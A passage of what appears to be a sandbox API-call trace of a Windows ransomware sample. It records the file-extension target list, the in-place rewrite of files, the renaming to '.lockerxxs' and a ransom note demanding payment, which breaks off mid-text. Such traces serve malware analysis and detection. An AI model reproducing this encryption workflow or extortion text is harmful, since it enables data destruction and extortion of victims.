(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.bz2") returned 0 [0070.243] lstrlenA (lpString="*.bz2") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.gz") returned 0 [0070.243] lstrlenA (lpString="*.gz") returned 4 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mkv") returned 0 [0070.243] lstrlenA (lpString="*.mkv") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.eml") returned 0 [0070.243] lstrlenA (lpString="*.eml") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.msg") returned 0 [0070.243] lstrlenA (lpString="*.msg") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.edb") returned 0 [0070.243] lstrlenA (lpString="*.edb") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.accdb") returned 0 [0070.243] lstrlenA (lpString="*.accdb") returned 7 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.odb") returned 0 [0070.243] lstrlenA (lpString="*.odb") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.java") returned 0 [0070.243] lstrlenA (lpString="*.java") returned 6 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.asm") returned 0 [0070.243] lstrlenA (lpString="*.asm") returned 5 [0070.243] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.pfx") returned 0 [0070.244] lstrlenA (lpString="*.pfx") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.pem") returned 0 [0070.244] lstrlenA (lpString="*.pem") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.p12") returned 0 [0070.244] lstrlenA (lpString="*.p12") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.gpg") returned 0 [0070.244] lstrlenA (lpString="*.gpg") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.vsd") returned 0 [0070.244] lstrlenA (lpString="*.vsd") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.odg") returned 0 [0070.244] lstrlenA (lpString="*.odg") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.raw") returned 0 [0070.244] lstrlenA (lpString="*.raw") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.nef") returned 0 [0070.244] lstrlenA (lpString="*.nef") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.svg") returned 0 [0070.244] lstrlenA (lpString="*.svg") returned 5 [0070.244] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.psd") returned 0 [0070.244] lstrlenA (lpString="*.psd") returned 5 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.vmx") returned 0 [0070.245] lstrlenA (lpString="*.vmx") returned 5 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.245] lstrlenA (lpString="*.vmdk") returned 6 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.vdi") returned 0 [0070.245] lstrlenA (lpString="*.vdi") returned 5 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.lay6") returned 0 [0070.245] lstrlenA (lpString="*.lay6") returned 6 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.245] lstrlenA (lpString="*.mpeg") returned 6 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.djvu") returned 0 [0070.245] lstrlenA (lpString="*.djvu") returned 6 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.tiff") returned 0 [0070.245] lstrlenA (lpString="*.tiff") returned 6 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.backup") returned 0 [0070.245] lstrlenA (lpString="*.backup") returned 8 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.pdf") returned 0 [0070.245] lstrlenA (lpString="*.pdf") returned 5 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.cert") returned 0 [0070.245] lstrlenA (lpString="*.cert") returned 6 [0070.245] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.docm") returned 0 [0070.246] lstrlenA (lpString="*.docm") returned 6 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.246] lstrlenA (lpString="*.xlsm") returned 6 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.dwg") returned 0 [0070.246] lstrlenA (lpString="*.dwg") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.nd") returned 0 [0070.246] lstrlenA (lpString="*.nd") returned 4 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.tlg") returned 0 [0070.246] lstrlenA (lpString="*.tlg") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.lgb") returned 0 [0070.246] lstrlenA (lpString="*.lgb") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mov") returned 0 [0070.246] lstrlenA (lpString="*.mov") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.xdw") returned 0 [0070.246] lstrlenA (lpString="*.xdw") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.ods") returned 0 [0070.246] lstrlenA (lpString="*.ods") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.wav") returned 0 [0070.246] lstrlenA (lpString="*.wav") returned 5 [0070.246] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.mp3") returned 0 [0070.247] lstrlenA (lpString="*.mp3") returned 5 [0070.247] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.aiff") returned 0 [0070.247] lstrlenA (lpString="*.aiff") returned 6 [0070.247] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.flac") returned 0 [0070.247] lstrlenA (lpString="*.flac") returned 6 [0070.247] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.m4a") returned 0 [0070.247] lstrlenA (lpString="*.m4a") returned 5 [0070.247] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini", pszSpec="*.csv") returned 0 [0070.247] lstrlenA (lpString="*.csv") returned 5 [0070.247] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.247] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.247] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.247] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.247] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.247] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\eula.ini") returned="eula.ini" [0070.247] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" [0070.247] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\") returned="" [0070.247] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt" [0070.248] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\how to decrypt files.txt")) returned 0x20 [0070.248] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.ems") returned 0 [0070.248] lstrlenA (lpString="*.ems") returned 5 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.db") returned 0 [0070.248] lstrlenA (lpString="*.db") returned 4 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.dbf") returned 0 [0070.248] lstrlenA (lpString="*.dbf") returned 5 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.myox") returned 0 [0070.248] lstrlenA (lpString="*.myox") returned 6 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.myo") returned 0 [0070.248] lstrlenA (lpString="*.myo") returned 5 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qbw") returned 0 [0070.248] lstrlenA (lpString="*.qbw") returned 5 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qbb") returned 0 [0070.248] lstrlenA (lpString="*.qbb") returned 5 [0070.248] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qbm") returned 0 [0070.248] lstrlenA (lpString="*.qbm") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qbo") returned 0 [0070.249] lstrlenA (lpString="*.qbo") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qbx") returned 0 [0070.249] lstrlenA (lpString="*.qbx") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qba") returned 0 [0070.249] lstrlenA (lpString="*.qba") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qby") returned 0 [0070.249] lstrlenA (lpString="*.qby") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qbj") returned 0 [0070.249] lstrlenA (lpString="*.qbj") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.ofx") returned 0 [0070.249] lstrlenA (lpString="*.ofx") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.qif") returned 0 [0070.249] lstrlenA (lpString="*.qif") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.mye") returned 0 [0070.249] lstrlenA (lpString="*.mye") returned 5 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.mbox") returned 0 [0070.249] lstrlenA (lpString="*.mbox") returned 6 [0070.249] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.eml") returned 0 [0070.250] lstrlenA (lpString="*.eml") returned 5 [0070.250] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.pst") returned 0 [0070.250] lstrlenA (lpString="*.pst") returned 5 [0070.250] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.ost") returned 0 [0070.250] lstrlenA (lpString="*.ost") returned 5 [0070.250] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.idx") returned 0 [0070.250] lstrlenA (lpString="*.idx") returned 5 [0070.250] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.dbx") returned 0 [0070.250] lstrlenA (lpString="*.dbx") returned 5 [0070.250] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.sql") returned 0 [0070.250] lstrlenA (lpString="*.sql") returned 5 [0070.250] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", pszSpec="*.mdb") returned 0 [0070.250] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" [0070.250] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" [0070.250] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html." [0070.250] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.lockerxxs" [0070.250] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.251] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc2f5 [0070.251] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a50d20, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0070.251] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.251] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc2cf, lpOverlapped=0x0) returned 1 [0070.255] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html") returned="license.html" [0070.256] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.256] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc2cf, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc2cf, lpOverlapped=0x0) returned 1 [0070.256] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.256] CloseHandle (hObject=0x94) returned 1 [0070.260] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html.lockerxxs")) returned 1 [0070.266] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0070.266] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SUO", cAlternateFileName="")) returned 1 [0070.266] lstrcmpA (lpString1=".", lpString2="SUO") returned -1 [0070.266] lstrcmpA (lpString1="..", lpString2="SUO") returned -1 [0070.266] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0070.266] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="SUO" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO" [0070.267] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.267] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.267] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.267] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.267] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.267] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0070.267] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.267] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0070.267] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0070.267] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0070.267] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*.*") returned="*.*" [0070.267] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" [0070.267] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\") returned="" [0070.268] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt" [0070.268] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\how to decrypt files.txt")) returned 0xffffffff [0070.268] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.268] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of 